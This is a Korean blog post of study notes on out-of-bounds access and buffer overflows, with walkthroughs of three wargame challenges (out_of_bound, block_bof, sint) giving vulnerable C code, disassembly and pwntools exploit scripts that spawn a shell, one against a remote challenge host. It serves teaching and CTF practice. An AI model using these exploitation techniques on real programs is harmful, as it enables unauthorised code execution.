layer7 [pwnable] 6차시

pansy·2026년 8월 7일

1-1. OOB란

1-2. out_of_bound

1-3. block bof

1-4. sint


OOB란

인지적 실수, 사소한 부등호 실수, 인덱스를 벗어나서 참조할 수 있어도 경고를 띄어주지 않는 커파일러 등으로 인해 프로그램에 있는 배열의 임의 인덱스에 접근하여 참조할 수 있는 취약점을 Out Of Bounds(OOB)라고 한다.

주로 OOB는 요소를 참조할 때, 인덱스 값이 음수이거나 배열의 길이를 벗어났을 때 발생한다.

배열의 속성

배열은 연속된 메모리 공간을 점유하며, 배열이 점유하는 공간의 크기는 요소의 개수와 요소 자료성의 크기를 곱한 값이된다.

배열의 각 요소의 주소는 배열의 주소, 요소의 인덱스, 요소 자료형의 크기를 이용하여 계산된다.

임의 주소 읽기

OOB로 임의 주소의 값을 읽으려면, 읽으려는 변수와 배열의 오프셋을 알아야한다.
배열과 변수가 같은 세그먼트에 할당되어 있다면 둘 사이의 오프셋은 항상 일정하므로 디버깅을 통해 쉽게 알아낼 수 있다.
만약 같은 세그먼트가 아니라면 다른 취약점을 통해 두 변수의 주소를 구하고, 차이를 계산하여 오페슷을 구해야 한다.

임의 주소 쓰기

OBB를 이용하면 임의 주소 값을 쓰는 것도 가능하다.

주의

코드를 작성할 때 실수로 인덱스를 검사하는 코드를 생략하면, 이를 나중에 발견하기는 매우 어렵다. 그렇기 때문에 인덱스 값이 음수인지, 배열의 길이를 넘어서지는 않는지 검사하는 것이 중요하며 주의해야 한다.


out_of_bound 문제풀이

문제코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

command 배열을 보면 순서대로 cat,ls,id,ps,file ./oob가 저장되어 있다. 예시로 0번을 누르면 cat문자열을 사용할 것이다.

main 함수를 보면 Admin name을 입력받는다.
또한 scanf로 정수를 받고 그 정수 값을 command 인덱스로 넣는다.
여기서 인덱스 idx 변수의 범위를 제한하지 않으므로 OOB 취약점을 사용할 수 있다.

 0x080486cb <+0>:     lea    ecx,[esp+0x4]
   0x080486cf <+4>:     and    esp,0xfffffff0
   0x080486d2 <+7>:     push   DWORD PTR [ecx-0x4]
   0x080486d5 <+10>:    push   ebp
   0x080486d6 <+11>:    mov    ebp,esp
   0x080486d8 <+13>:    push   ecx
   0x080486d9 <+14>:    sub    esp,0x14
   0x080486dc <+17>:    mov    eax,gs:0x14
   0x080486e2 <+23>:    mov    DWORD PTR [ebp-0xc],eax
   0x080486e5 <+26>:    xor    eax,eax
   0x080486e7 <+28>:    call   0x804867b <initialize>
   0x080486ec <+33>:    sub    esp,0xc
   0x080486ef <+36>:    push   0x8048811
   0x080486f4 <+41>:    call   0x80484b0 <printf@plt>
   0x080486f9 <+46>:    add    esp,0x10
   0x080486fc <+49>:    sub    esp,0x4
   0x080486ff <+52>:    push   0x10
   0x08048701 <+54>:    push   0x804a0ac
   0x08048706 <+59>:    push   0x0
   0x08048708 <+61>:    call   0x80484a0 <read@plt>
   0x0804870d <+66>:    add    esp,0x10
   0x08048710 <+69>:    sub    esp,0xc
   0x08048713 <+72>:    push   0x804881e
   0x08048718 <+77>:    call   0x80484b0 <printf@plt>
   0x0804871d <+82>:    add    esp,0x10
   0x08048720 <+85>:    sub    esp,0x8
   0x08048723 <+88>:    lea    eax,[ebp-0x10]
   0x08048726 <+91>:    push   eax
   0x08048727 <+92>:    push   0x8048832
   0x0804872c <+97>:    call   0x8048540 <__isoc99_scanf@plt>
   0x08048731 <+102>:   add    esp,0x10
   0x08048734 <+105>:   mov    eax,DWORD PTR [ebp-0x10]
   0x08048737 <+108>:   mov    eax,DWORD PTR [eax*4+0x804a060]
   0x0804873e <+115>:   sub    esp,0xc
   0x08048741 <+118>:   push   eax
   0x08048742 <+119>:   call   0x8048500 <system@plt>
   0x08048747 <+124>:   add    esp,0x10
   0x0804874a <+127>:   mov    eax,0x0
   0x0804874f <+132>:   mov    edx,DWORD PTR [ebp-0xc]
   0x08048752 <+135>:   xor    edx,DWORD PTR gs:0x14
   0x08048759 <+142>:   je     0x8048760 <main+149>
   0x0804875b <+144>:   call   0x80484e0 <__stack_chk_fail@plt>
   0x08048760 <+149>:   mov    ecx,DWORD PTR [ebp-0x4]
   0x08048763 <+152>:   leave
   0x08048764 <+153>:   lea    esp,[ecx-0x4]
   0x08048767 <+156>:   ret

일단 오프셋을 구해야 하기 때문에 gdb로 확인해 본다.

command의 시작 주소는 0x0804a060이고 name의 시작주소는 0x0804a0ac이다.
또한 둘 차이의 거리는 76바이트 만큼 차이가 난다.
어셈블리어에서 0x08048737 <+108>: mov eax,DWORD PTR [eax*4+0x804a060] 이 줄에 대입하면 eax*4=76이므로 idx = eax 19 (19X4=76)가 된다.
따라서 name에 문자열을 입력 받고 두번째 idx에 command 배열 범위를 초과하는 값인 19를 입력하면 name의 입력된 값이 실행되어 쉘을 획득할 수 있게 된다.

익스 코드

from pwn import *
p = remote('host3.dreamhack.games',24375)

payload = p32(0x804a0b0)
payload += b'/bin/sh'
p.sendlineafter(b'Admin name: ', payload)
p.sendlineafter(b'What do you want?: ', b'19')


p.interactive()


block bof 문제풀이

카나리와 PIE 보호기법은 걸려있지 않다.

c코드가 주어져있지 않으므로 IDA로 까서 봐야한다.

int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[10]; // [rsp+6h] [rbp-3Ah] BYREF
_BYTE v5[48]; // [rsp+10h] [rbp-30h] BYREF

init(argc, argv, envp);
puts("Hello, Can you Get shell???");
puts("It's unexploitable program XDDDDD");
puts("what is your name??");
read(0, buf, 0xAu);
printf("OPPS %sCan you exploit This Program?\n", buf);
printf("Your commnet : ");
__isoc99_scanf("%s", v5);
check(v5);
puts("Very EEEEEZ XDDDDDD\n");
puts("Bye Bye ~~\n");
return 0;
}

코드를 보면 read함수에서는 0xAu만큼 읽기 때문에 문제가 없지만
v5를 받는 scanf에서는 제한이 없기 때문에 bof가 발생할 수 있다.

또한 check 함수 코드는 다음과 같다.

__int64 __fastcall check(const char *a1)
{
  if ( strlen(a1) > 0xF )
  {
    puts("Very long comment XDDD\n");
    exit(0);
  }
  puts("Hmm.. It's real??\n");
  return 0;
}

strlen을 사용하여 문자열 길이를 검사하는데 0xf보다 작아야한다.

정리하자면 v5의 문자열의 길이가 0xf보다 작아야 하므로 중간에 null문자를 넣어 strlen을 속인다.
v5는 rbp-0x30만큼 자리를 차지하므로 0x30만큼 쓰레기 값을 넣는다.
bof를 일으켜 반환주소를 get_shell로 만들면 된다.

따라서 첫번째 입력을 필요 없으므로 아무 값이나 넣고 두번째에는 0xf(15)전에 null문자를 넣어 길이를 속이고 0x30에서 두번째에 넣은 쓰레기 값만큼을 뺀 값을 넣어 반환주소로 간다.
반환주소를 get_sehll로 바꾸면 쉘이 따지게 된다.

이 문제에서는 이대로 하면 프로그램이 죽어서 정렬을 해야하므로 get_sehll 안에있는 ret주소를 가져와 정렬한다.

익스 코드

from pwn import *
p = process('./block_bof')


p.send(b'A')
payload = b'A'
payload += b'\x00'
payload += b'B' * (0x30 - 0x2)
payload += b'A' * 8
payload += p64(0x0000000000401293)
payload += p64(0x000000000040125c)
p.sendline(payload)


p.interactive()


sint 문제풀이

문제 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char buf[256];
    int size;

    initialize();

    signal(SIGSEGV, get_shell);

    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1);

    return 0;
}

system 함수가 존재하므로 문제에서는 이 system함수를 실행시키는 것이 목적이다.

main 함수를 보면 scanf로 size를 받는다. 256바이트를 초과하거나 음수 값을 입력하면 buffer overflow!를 출력하면서 프로그램이 종료된다.

다음은 Data를 입력 받는데 size-1까지 읽어버린다.
size값이 0이면 read함수에서 -1만큼 읽어 정수형으로 바꾸면 엄청나게 큰 데이터 값으로 바뀌기 때문에 read함수는 많은 데이터 값을 읽어도 된다고 판단하여 다른 값들 까지 읽어버린다. 따라서 buf값 256바이트를 넘어서도 읽을 수 있으므로 bof를 사용하면 된다.

익스 코드

from pwn import *
p = process('./sint')

p.sendlineafter(b"Size: ", b'0')
p.sendafter(b"Data: ", b'A' * 300)

p.interactive()

0개의 댓글